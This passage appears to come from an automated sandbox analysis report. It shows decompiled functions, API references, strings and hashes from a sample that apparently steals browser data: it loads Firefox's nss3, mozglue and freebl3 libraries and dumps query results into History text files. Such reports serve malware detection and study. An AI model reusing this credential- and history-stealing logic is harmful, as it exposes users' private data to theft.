							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t117 + 4)), "nss3.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					E0040A020(_t196, _v384, _t212);
					_t226 = _t225 + 8;
					_v8 = 0;
					_t242 = _v28 - 0x10;
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
						_t226 = _t226 + 4;
					}
					_t125 = E004109C0("msvcp140.dll", _t242,  &_v48,  &_v76);
					_t227 = _t226 + 8;
					_v8 = 4;
					if( *((intOrPtr*)(_t125 + 0x14)) < 0x10) {
						_t213 = _t125;
					} else {
						_t213 =  *_t125;
					}
					_t126 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t126 != 0) {
						__eflags =  *_t126 - 1;
						if(__eflags == 0) {
							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t126 + 4)), "msvcp140.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					E0040A020(_v84, _v384, _t213);
					_t228 = _t227 + 8;
					_v8 = 0;
					_t245 = _v28 - 0x10;
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
						_t228 = _t228 + 4;
					}
					_t134 = E004109C0("mozglue.dll", _t245,  &_v48,  &_v76);
					_t229 = _t228 + 8;
					_v8 = 5;
					if( *((intOrPtr*)(_t134 + 0x14)) < 0x10) {
						_t214 = _t134;
					} else {
						_t214 =  *_t134;
					}
					_t135 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t135 != 0) {
						__eflags =  *_t135 - 1;
						if(__eflags == 0) {
							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t135 + 4)), "mozglue.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					E0040A020(_v384, _v384, _t214);
					_t230 = _t229 + 8;
					_v8 = 0;
					_t248 = _v28 - 0x10;
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
						_t230 = _t230 + 4;
					}
					_t141 = E004109C0("freebl3.dll", _t248,  &_v48,  &_v76);
					_t231 = _t230 + 8;
					_v8 = 6;
					if( *((intOrPtr*)(_t141 + 0x14)) < 0x10) {
						_t215 = _t141;
					} else {
						_t215 =  *_t141;
					}
					_t142 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t142 != 0) {
						__eflags =  *_t142 - 1;
						if(__eflags == 0) {
							_t190 =  &_v380;
							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t142 + 4)), "freebl3.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					_t96 = E0040A020(_t190, _v384, _t215);
					_t219 = _t231 + 8;
					if(_v28 >= 0x10) {
						_t190 = _v48;
						_push(_v48);
						_t96 = E00429B0B();
						_t219 = _t219 + 4;
					}
					 *0x4536b8 = 1;
					goto L62;
				}
			}

0x0040f283
0x0040f285
0x0040f290
0x0040f297
0x0040f29c
0x0040f29e
0x0040f2a4
0x0040f2a8
0x0040f2ae
0x0040f2b8
0x0040f2bf
0x0040f2c2
0x0040f2c5
0x0040f2ca
0x0040f2d2
0x0040f2d7
0x0040f2dd
0x0040f2e3
0x0040f6dd
0x0040f6e0
0x0040f6e5
0x0040f6e6
0x0040f6eb
0x0040f6f1
0x0040f6f9
0x0040f6fa
0x0040f6fb
0x0040f709
0x0040f2e9
0x0040f2f6
0x0040f2fb
0x0040f2fe
0x0040f305
0x0040f30b
0x0040f307
0x0040f307
0x0040f307
0x0040f30d
0x0040f314
0x0040f31c
0x0040f32a
0x0040f32d
0x0040f355
0x0040f32f
0x0040f32f
0x0040f32f
0x0040f31e
0x0040f31e
0x0040f31e
0x0040f366
0x0040f374
0x0040f379
0x0040f37c
0x0040f37f
0x0040f382
0x0040f387
0x0040f388
0x0040f38d
0x0040f38d
0x0040f39d
0x0040f3a2
0x0040f3a5
0x0040f3ac
0x0040f3b2
0x0040f3ae
0x0040f3ae
0x0040f3ae
0x0040f3b4
0x0040f3bb
0x0040f3c3
0x0040f3d1
0x0040f3d4
0x0040f3fc
0x0040f3d6
0x0040f3d6
0x0040f3d6
0x0040f3c5
0x0040f3c5
0x0040f3c5
0x0040f40d
0x0040f41b
0x0040f420
0x0040f423
0x0040f426
0x0040f429
0x0040f42e
0x0040f42f
0x0040f434
0x0040f434
0x0040f43b
0x0040f444
0x0040f449
0x0040f44c
0x0040f453
0x0040f459
0x0040f455
0x0040f455
0x0040f455
0x0040f45b
0x0040f462
0x0040f46a
0x0040f478
0x0040f47b
0x0040f492
0x0040f4a3
0x0040f47d
0x0040f47d
0x0040f47d
0x0040f46c
0x0040f46c
0x0040f46c
0x0040f4b4
0x0040f4c2
0x0040f4c7
0x0040f4ca
0x0040f4cd
0x0040f4d0
0x0040f4d5
0x0040f4d6
0x0040f4db
0x0040f4db
0x0040f4eb
0x0040f4f0
0x0040f4f3
0x0040f4fa
0x0040f500
0x0040f4fc
0x0040f4fc
0x0040f4fc
0x0040f502
0x0040f509
0x0040f511
0x0040f51f
0x0040f522
0x0040f54a
0x0040f524
0x0040f524
0x0040f524
0x0040f513
0x0040f513
0x0040f513
0x0040f55b
0x0040f569
0x0040f56e
0x0040f571
0x0040f574
0x0040f577
0x0040f57c
0x0040f57d
0x0040f582
0x0040f582
0x0040f592
0x0040f597
0x0040f59a
0x0040f5a1
0x0040f5a7
0x0040f5a3
0x0040f5a3
0x0040f5a3
0x0040f5a9
0x0040f5b0
0x0040f5b8
0x0040f5c6
0x0040f5c9
0x0040f5f1
0x0040f5cb
0x0040f5cb
0x0040f5cb
0x0040f5ba
0x0040f5ba
0x0040f5ba
0x0040f602
0x0040f610
0x0040f615
0x0040f618
0x0040f61b
0x0040f61e
0x0040f623
0x0040f624
0x0040f629
0x0040f629
0x0040f639
0x0040f63e
0x0040f641
0x0040f648
0x0040f64e
0x0040f64a
0x0040f64a
0x0040f64a
0x0040f650
0x0040f655
0x0040f661
0x0040f66f
0x0040f672
0x0040f689
0x0040f69a
0x0040f674
0x0040f674
0x0040f674
0x0040f663
0x0040f663
0x0040f663
0x0040f6ac
0x0040f6ba
0x0040f6bf
0x0040f6c5
0x0040f6c7
0x0040f6ca
0x0040f6cb
0x0040f6d0
0x0040f6d0
0x0040f6d3
0x00000000
0x0040f6d3

APIs

_strlen.LIBCMT ref: 0040F2C5

Part of subcall function 004109C0: _strlen.LIBCMT ref: 00410A0A
Part of subcall function 004109C0: _strlen.LIBCMT ref: 00410A50

GetProcessHeap.KERNEL32(00000000,?,050987D8,00000000), ref: 0040F35F
RtlAllocateHeap.NTDLL(00000000), ref: 0040F366
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F406
RtlAllocateHeap.NTDLL(00000000), ref: 0040F40D
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F4AD
RtlAllocateHeap.NTDLL(00000000), ref: 0040F4B4
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F554
RtlAllocateHeap.NTDLL(00000000), ref: 0040F55B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040F5FB
RtlAllocateHeap.NTDLL(00000000), ref: 0040F602

Part of subcall function 00409920: _strcat.LIBCMT ref: 00409950
Part of subcall function 00409920: _memset.LIBCMT ref: 00409990

GetProcessHeap.KERNEL32(00000000,?), ref: 0040F6A5
RtlAllocateHeap.NTDLL(00000000), ref: 0040F6AC

Strings

nss3.dll, xrefs: 0040F43F, 0040F48C
softokn3.dll, xrefs: 0040F398, 0040F3E5
msvcp140.dll, xrefs: 0040F4E6, 0040F533
mozglue.dll, xrefs: 0040F58D, 0040F5DA
vcruntime140.dll, xrefs: 0040F2F1, 0040F33E
freebl3.dll, xrefs: 0040F634, 0040F683

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess$_strlen$_memset_strcat
String ID: freebl3.dll$mozglue.dll$msvcp140.dll$nss3.dll$softokn3.dll$vcruntime140.dll
API String ID: 3366024294-1377252038
Opcode ID: 1c3fa2a409d8e376149b7707e5af3a0cfff85ac5760ce6444839e730e5b16a47
Instruction ID: 499a2b2b33537d516a1d9b2738853ce1ce5580f7dd19f9fdf4c82768f998feac
Opcode Fuzzy Hash: 1c3fa2a409d8e376149b7707e5af3a0cfff85ac5760ce6444839e730e5b16a47
Instruction Fuzzy Hash: 1FD184B1900314EFCB20DFA4EC45A9E77B4BB09306F50457EE509B7252E738DA49CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00416A70 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 165
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00416A70(void* __ebx, intOrPtr __ecx, intOrPtr* __edx, char _a4) {
				signed int _v8;
				char _v276;
				char _v540;
				void* _v544;
				char _v548;
				char _v552;
				intOrPtr _v556;
				intOrPtr* _v560;
				void* __edi;
				void* __esi;
				signed int _t39;
				signed int _t40;
				signed int _t48;
				void* _t58;
				long _t61;
				void* _t68;
				int _t69;
				void* _t77;
				CHAR* _t80;
				intOrPtr* _t88;
				void* _t103;
				void* _t104;
				void* _t105;
				CHAR* _t106;
				intOrPtr _t107;
				signed int _t108;
				void* _t109;
				void* _t112;
				void* _t114;
				void* _t115;
				void* _t118;
				signed int _t120;

				_t78 = __ebx;
				_t39 =  *0x450664; // 0x30e242aa
				_t40 = _t39 ^ _t108;
				_t120 = _t40;
				_v8 = _t40;
				_t2 =  &_a4; // 0x417575
				_v544 =  *_t2;
				_v556 = __ecx;
				_v560 = __edx;
				L00429B30( &_v276, 0, 0x104);
				_t80 =  *0x453058; // 0x50987d8
				lstrcatA( &_v276, _t80);
				_t106 = E0042A0BB( &_v276, _t103, _t105, 0x1a);
				 *_t106 = 0;
				L0042D41F(GetTickCount());
				_t112 = _t109 + 0x14;
				_t104 = 0x1a;
				do {
					_t48 = L0042D431(_t120);
					asm("cdq");
					_push(_t48 % 0xa);
					_push(_t106);
					wsprintfA(_t106, "%s%d");
					_t112 = _t112 + 0x10;
					_t104 = _t104 - 1;
				} while (_t104 != 0);
				_t106[0x1a] = 0;
				lstrcatA( &_v276, _t106);
				 *0x453388(__ebx,  &_v276, 1);
				L00429B30( &_v540, _t104, 0x104);
				wsprintfA( &_v540, "\\History\\%s_%s.txt", _v556, _v544);
				_t107 =  *0x452cb0; // 0x5098c50
				_t98 =  &_v552;
				_t58 =  *0x453304( &_v276,  &_v552);
				_t114 = _t112 + 0x24;
				if(_t58 != 0) {
					L13:
					return E00429B16( *0x4533e4(), _t78, _v8 ^ _t108, _t98, _t104, _t107,  &_v276);
				}
				_t61 =  *0x4532b8(_v552, _t107, 0xffffffff,  &_v548, _t58);
				_t115 = _t114 + 0x14;
				if(_t61 != 0) {
					L12:
					_t98 = _v548;
					 *0x4532d8(_v548);
					 *0x453308(_v552);
					goto L13;
				}
				_v544 = RtlAllocateHeap(GetProcessHeap(), _t61, 0xf423f);
				_t68 =  *0x4532d4(_v548);
				_t118 = _t115 + 4;
				if(_t68 != 0x64) {
					L6:
					_t69 = lstrlenA(_v544);
					_t88 = _v560;
					if(_t88 != 0) {
						__eflags =  *_t88 - 2;
						if( *_t88 == 2) {
							 *0x4537d4 = E00428410( *((intOrPtr*)(_t88 + 4)), _v544,  &_v540, _t69, 3);
						} else {
							 *0x4537d4 = 0x80000;
						}
					} else {
						 *0x4537d4 = 0x10000;
					}
					L00429B30( &_v544, 0, 4);
					_t115 = _t118 + 0xc;
					goto L12;
				} else {
					goto L5;
				}
				do {
					L5:
					lstrcatA(_v544,  *0x4532f4(_v548, 0));
					lstrcatA(_v544, "\n");
					_t77 =  *0x4532d4(_v548);
					_t118 = _t118 + 0xc;
				} while (_t77 == 0x64);
				goto L6;
			}

0x00416a70
0x00416a79
0x00416a7e
0x00416a7e
0x00416a80
0x00416a83
0x00416a8d
0x00416a9c
0x00416aa2
0x00416aa8
0x00416aad
0x00416abe
0x00416acb
0x00416ad0
0x00416ada
0x00416adf
0x00416ae2
0x00416ae7
0x00416ae7
0x00416aec
0x00416af4
0x00416af5
0x00416afc
0x00416b02
0x00416b05
0x00416b05
0x00416b10
0x00416b14
0x00416b24
0x00416b37
0x00416b59
0x00416b5f
0x00416b65
0x00416b73
0x00416b79
0x00416b7e
0x00416ca0
0x00416cbc
0x00416cbc
0x00416b96
0x00416b9c
0x00416ba1
0x00416c80
0x00416c80
0x00416c87
0x00416c97
0x00000000
0x00416c9d
0x00416bba
0x00416bc7
0x00416bcd
0x00416bd3
0x00416c1c
0x00416c23
0x00416c29
0x00416c31
0x00416c3f
0x00416c42
0x00416c68
0x00416c44
0x00416c44
0x00416c44
0x00416c33
0x00416c33
0x00416c33
0x00416c78
0x00416c7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00416bd5
0x00416bd5
0x00416bef
0x00416c01
0x00416c0e
0x00416c14
0x00416c17
0x00000000

APIs

_memset.LIBCMT ref: 00416AA8
lstrcatA.KERNEL32(?,050987D8,?,?,004485E7), ref: 00416ABE
_malloc.LIBCMT ref: 00416AC6

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00416AD3

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00416AE7

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 00416AFC
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,004485E7), ref: 00416B14
_memset.LIBCMT ref: 00416B37
wsprintfA.USER32 ref: 00416B59
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00416BAD
RtlAllocateHeap.NTDLL(00000000), ref: 00416BB4
lstrcatA.KERNEL32(?,00000000), ref: 00416BEF
lstrcatA.KERNEL32(?,004485E8), ref: 00416C01
lstrlenA.KERNEL32(?), ref: 00416C23
_memset.LIBCMT ref: 00416C78

Strings

uuA, xrefs: 00416A83
\History\%s_%s.txt, xrefs: 00416B53
%s%d, xrefs: 00416AF6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap_memset$Allocate__getptdwsprintf$CountProcessTick_malloc_randlstrlen
String ID: %s%d$\History\%s_%s.txt$uuA
API String ID: 2660227588-2847450186
Opcode ID: e87c09af0d56b205ae40599e5a3d2d95b1c65cc226e27eabe44f7f5bdb7c8b08
Instruction ID: eab236d4d62bc037d3026705c41dd041d2b8d58639efa06ba4f60c34f20dda5f
Opcode Fuzzy Hash: e87c09af0d56b205ae40599e5a3d2d95b1c65cc226e27eabe44f7f5bdb7c8b08
Instruction Fuzzy Hash: 9951C8B1A40318ABC720DF64EC49FEA7778EB48346F1045A9F50997252DA34EB90CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00427840 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00427840(long* __ecx, signed int __edx, void* _a4, signed int* _a8, char _a12) {
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				struct _BY_HANDLE_FILE_INFORMATION _v80;
				void _v84;
				long _v88;
				long _v92;
				struct _FILETIME _v100;
				void _v104;
				signed int* _v108;
				void _v112;
				long* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed char _t61;
				long _t62;
				signed int* _t63;
				long* _t64;
				intOrPtr _t75;
				long _t85;
				void _t89;
				void* _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				long _t96;
				signed int _t99;
				intOrPtr _t111;
				intOrPtr _t134;
				intOrPtr* _t136;
				signed int* _t137;
				void* _t138;
				signed int _t139;
				signed int _t140;

				_t121 = __edx;
				_t56 =  *0x450664; // 0x30e242aa
				_v12 = _t56 ^ _t140;
				_t138 = _a4;
				_t4 =  &_a12; // 0x427e4f
				_t136 =  *_t4;
				_v108 = _a8;
				_v116 = __ecx;
				_v100.dwHighDateTime = __edx;
				if(GetFileInformationByHandle(_t138,  &_v80) != 0) {
					_t61 = _v80.dwFileAttributes;
					_t93 = 0;
					_t123 = _t61 & 0x00000001;
					if(_t123 != 0) {
						_t93 = 1;
					}
					if((_t61 & 0x00000002) != 0) {
						_t93 = _t93 | 0x00000002;
					}
					if((_t61 & 0x00000004) != 0) {
						_t93 = _t93 | 0x00000004;
					}
					_t99 = _t61 & 0x00000010;
					if(_t99 != 0) {
						_t93 = _t93 | 0x00000010;
					}
					if((_t61 & 0x00000020) != 0) {
						_t93 = _t93 | 0x00000020;
					}
					if(_t99 == 0) {
						_t94 = _t93 | 0x80000000;
					} else {
						_t94 = _t93 | 0x40000000;
					}
					_t95 = _t94 | 0x01000000;
					if(_t123 == 0) {
						_t95 = _t95 | 0x00800000;
					}
					_t62 = GetFileSize(_t138, 0);
					_v88 = _t62;
					if(_t62 > 0x28) {
						SetFilePointer(_t138, 0, 0, 0);
						ReadFile(_t138,  &_v84, 2,  &_v92, 0);
						SetFilePointer(_t138, 0x24, 0, 0);
						ReadFile(_t138,  &_v112, 4,  &_v92, 0);
						_t123 = 0x54ad;
						if(_v84 == 0x54ad) {
							_t85 = _v112;
							if(_v88 > _t85 + 0x34) {
								SetFilePointer(_t138, _t85, 0, 0);
								_t123 =  &_v92;
								ReadFile(_t138,  &_v104, 4,  &_v92, 0);
								_t89 = _v104;
								if(_t89 == 0x5a4d || _t89 == 0x454e || _t89 == 0x454c || _t89 == 0x4550) {
									_t95 = _t95 | 0x00400000;
								}
							}
						}
					}
					_t63 = _v108;
					if(_t63 != 0) {
						 *_t63 = _t95;
					}
					_t64 = _v116;
					if(_t64 != 0) {
						 *_t64 = _v88;
					}
					_t139 = _v56;
					_t96 = _v80.ftLastWriteTime;
					if(_t136 != 0) {
						_t134 = _v80.ftLastAccessTime - 0xd53e8000;
						asm("sbb eax, 0x19db1de");
						_t75 = E004348A0(_t134, _v64, 0x989680, 0);
						 *((intOrPtr*)(_t136 + 4)) = _t134;
						_t123 = _t139;
						asm("sbb edx, 0x19db1de");
						 *_t136 = _t75;
						 *((intOrPtr*)(_t136 + 8)) = E004348A0(_t96 - 0xd53e8000, _t123, 0x989680, 0);
						asm("sbb ecx, 0x19db1de");
						 *(_t136 + 0xc) = _t123;
						 *((intOrPtr*)(_t136 + 0x10)) = E004348A0(_v80.ftCreationTime - 0xd53e8000, _v72, 0x989680, 0);
						 *(_t136 + 0x14) = _t123;
					}
					_t137 = _v100.dwHighDateTime;
					if(_t137 != 0) {
						_v100.dwLowDateTime = _t96;
						_v100.dwHighDateTime = _t139;
						FileTimeToSystemTime( &_v100,  &_v28);
						_t52 =  &(_v28.wHour); // 0x427e4f
						_t111 = _v28.wSecond;
						_t123 = _t111 + _t111 & 0x0000001f;
						 *_t137 = ((_v28.wYear + 0xffffffc4 << 0x00000004 | _v28.wMonth & 0x0000000f) << 0x00000005 & 0x0000ffff | _v28.wDay & 0x0000001f) << 0x00000010 | (_v28.wMinute & 0x0000003f |  *_t52 << 0x00000006) << 0x00000005 & 0x0000ffff | _t111 + _t111 & 0x0000001f;
					}
					return E00429B16(0, _t96, _v12 ^ _t140, _t123, _t137, _t139);
				} else {
					return E00429B16(0x200, _t92, _v12 ^ _t140, _t121, _t136, _t138);
				}
			}

0x00427840
0x00427846
0x0042784d
0x00427855
0x00427859
0x00427859
0x0042785c
0x00427864
0x00427867
0x00427872
0x0042788a
0x0042788f
0x00427891
0x00427894
0x00427896
0x00427896
0x0042789d
0x0042789f
0x0042789f
0x004278a4
0x004278a6
0x004278a6
0x004278ab
0x004278ae
0x004278b0
0x004278b0
0x004278b5
0x004278b7
0x004278b7
0x004278bc
0x004278c6
0x004278be
0x004278be
0x004278be
0x004278cc
0x004278d4
0x004278d6
0x004278d6
0x004278df
0x004278e5
0x004278eb
0x004278f8
0x0042790b
0x00427918
0x0042792b
0x00427931
0x0042793a
0x0042793c
0x00427945
0x0042794d
0x00427955
0x00427960
0x00427966
0x0042796e
0x00427985
0x00427985
0x0042796e
0x00427945
0x0042793a
0x0042798b
0x00427990
0x00427992
0x00427992
0x00427994
0x00427999
0x0042799e
0x0042799e
0x004279a0
0x004279a3
0x004279a8
0x004279b2
0x004279bd
0x004279c4
0x004279c9
0x004279d6
0x004279dd
0x004279e5
0x004279ef
0x00427a01
0x00427a09
0x00427a11
0x00427a14
0x00427a14
0x00427a17
0x00427a1c
0x00427a26
0x00427a29
0x00427a2c
0x00427a54
0x00427a5f
0x00427a70
0x00427a75
0x00427a75
0x00427a89
0x00427874
0x00427889
0x00427889

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?), ref: 0042786A
GetFileSize.KERNEL32(?,00000000), ref: 004278DF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 004278F8
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0042790B
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 00427918
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0042792B
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0042794D
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00427960

Strings

O~B, xrefs: 00427859
O~B, xrefs: 00427A54

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID: O~B$O~B
API String ID: 2979504256-1103903526
Opcode ID: e1506362801e3f51f25784ce58e69d641fb63251b9ec5a4e1d4e1ac2a3abf5d7
Instruction ID: f8e827e8a7d6c44bb52ea5ae60f3d5797350d0d4b20d65e372091c4c04acd1bb
Opcode Fuzzy Hash: e1506362801e3f51f25784ce58e69d641fb63251b9ec5a4e1d4e1ac2a3abf5d7
Instruction Fuzzy Hash: FA71A371B003249BEB14DF94DC85BAEBBB5FF84705F54812AE605EB280D778A905CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A020 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 224
timeCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040A020(void* __edx, void* _a4, void* _a8) {
				signed int _v8;
				char _v275;
				char _v276;
				char _v540;
				struct _FILETIME _v560;
				struct _FILETIME _v568;
				struct _FILETIME _v576;
				unsigned int _v580;
				char _v844;
				char _v845;
				void* _v852;
				long _v856;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t66;
				intOrPtr* _t69;
				void* _t70;
				signed char _t74;
				void* _t75;
				void* _t77;
				void* _t90;
				void* _t91;
				intOrPtr _t95;
				signed int _t98;
				void* _t100;
				void** _t103;
				void* _t105;
				void* _t108;
				void* _t110;
				void* _t123;
				void* _t127;
				long _t128;
				void* _t131;
				signed int _t132;
				void* _t133;
				signed int _t134;
				void* _t135;
				void* _t136;
				void* _t137;
				void* _t138;

				_t119 = __edx;
				_t66 =  *0x450664; // 0x30e242aa
				_v8 = _t66 ^ _t134;
				_v852 = _a8;
				_t69 =  *0x45329c; // 0x4e72ed0
				if(_t69 == 0) {
					L6:
					_t70 = 0x10000;
					L46:
					 *0x453670 = _t70;
					return E00429B16(_t70, _t103, _v8 ^ _t134, _t119, _t127, _t131);
				}
				if( *_t69 == 1) {
					_t103 =  *(_t69 + 4);
					_t132 = _t131 | 0xffffffff;
					_v856 = _t103;
					__eflags = _t103[1] - _t132;
					if(_t103[1] != _t132) {
						E00409160(_t105,  *_t103);
					}
					_t127 = _a4;
					_t103[1] = _t132;
					_t131 =  *_t103;
					__eflags = _t127 -  *((intOrPtr*)(_t131 + 4));
					if(_t127 <  *((intOrPtr*)(_t131 + 4))) {
						__eflags = _t127 -  *((intOrPtr*)(_t131 + 0x10));
						if(_t127 <  *((intOrPtr*)(_t131 + 0x10))) {
							E00408950(_t131);
						}
						_t108 =  *_t103;
						__eflags =  *((intOrPtr*)(_t108 + 0x10)) - _t127;
						if( *((intOrPtr*)(_t108 + 0x10)) >= _t127) {
							L15:
							_t119 =  &_v844;
							E00409290(_t103,  &_v844, _t127);
							_t74 = _v580 >> 4;
							__eflags = _t74 & 0x00000001;
							if((_t74 & 0x00000001) == 0) {
								_t127 = _v852;
								_t75 =  *_t127;
								_v540 = 0;
								_t133 = _t127;
								_t110 = _t127;
								__eflags = _t75;
								if(_t75 == 0) {
									L23:
									E0042A924( &_v276, _t127, 0x104);
									_t136 = _t135 + 0xc;
									__eflags = _t133 - _t127;
									if(_t133 != _t127) {
										 *((char*)(_t134 + _t133 - _t127 - 0x110)) = 0;
										_t77 = _v276;
										__eflags = _t77 - 0x2f;
										if(_t77 == 0x2f) {
											L32:
											wsprintfA( &_v540, "%s%s",  &_v276, _t133);
											_t137 = _t136 + 0x10;
											L26:
											_t119 = _v580;
											_t131 =  *0x453374( &_v540, 0x40000000, 0, 0, 2, _v580, 0);
											__eflags = _t131 - 0xffffffff;
											if(_t131 != 0xffffffff) {
												E00408D90( *_t103, _t103[0x4e], _t103[0x4e]);
												_t103 = _v856;
												_t138 = _t137 + 4;
												__eflags = _t103[0x4f];
												if(__eflags == 0) {
													_push(0x4000);
													_t91 = E004290CB(_t127, _t131, __eflags);
													_t138 = _t138 + 4;
													_t103[0x4f] = _t91;
												}
												_v852 = 0;
												while(1) {
													_t119 =  &_v845;
													_t114 = 0x4000;
													_t128 = L00408F00( *_t103, 0x4000, _t103[0x4f],  &_v845);
													_t138 = _t138 + 8;
													__eflags = _t128 - 0xffffff96;
													if(_t128 == 0xffffff96) {
														break;
													}
													__eflags = _t128;
													if(__eflags < 0) {
														L42:
														_v852 = 0x5000000;
														L43:
														E00409160(_t114,  *_t103);
														_t127 = _v852;
														__eflags = _t127;
														if(_t127 == 0) {
															_t119 =  &_v568;
															SetFileTime(_t131,  &_v568,  &_v576,  &_v560);
														}
														CloseHandle(_t131);
														_t70 = _t127;
														goto L46;
													}
													if(__eflags <= 0) {
														L40:
														__eflags = _v845;
														if(_v845 != 0) {
															goto L43;
														}
														__eflags = _t128;
														if(_t128 != 0) {
															continue;
														}
														goto L42;
													}
													_t119 = _t103[0x4f];
													_t114 =  &_v856;
													_t90 = WriteFile(_t131, _t103[0x4f], _t128,  &_v856, 0);
													__eflags = _t90;
													if(_t90 == 0) {
														_v852 = 0x400;
														goto L43;
													}
													goto L40;
												}
												_v852 = 0x1000;
												goto L43;
											}
											_t70 = 0x200;
											goto L46;
										}
										__eflags = _t77 - 0x5c;
										if(_t77 == 0x5c) {
											goto L32;
										}
										__eflags = _t77;
										if(_t77 == 0) {
											L25:
											wsprintfA( &_v540, "%s%s%s",  &(_t103[0x50]),  &_v276, _t133);
											_t137 = _t136 + 0x14;
											goto L26;
										}
										__eflags = _v275 - 0x3a;
										if(_v275 != 0x3a) {
											goto L25;
										}
										goto L32;
									}
									_v276 = 0;
									goto L25;
								}
								do {
									__eflags = _t75 - 0x2f;
									if(_t75 == 0x2f) {
										L21:
										_t133 = _t110 + 1;
										goto L22;
									}
									__eflags = _t75 - 0x5c;
									if(_t75 != 0x5c) {
										goto L22;
									}
									goto L21;
									L22:
									_t75 =  *(_t110 + 1);
									_t110 = _t110 + 1;
									__eflags = _t75;
								} while (_t75 != 0);
								goto L23;
							}
							_t70 = 0;
							goto L46;
						} else {
							do {
								_t131 =  *_t103;
								__eflags = _t131;
								if(_t131 != 0) {
									__eflags =  *(_t131 + 0x18);
									if( *(_t131 + 0x18) != 0) {
										_t95 =  *((intOrPtr*)(_t131 + 0x10)) + 1;
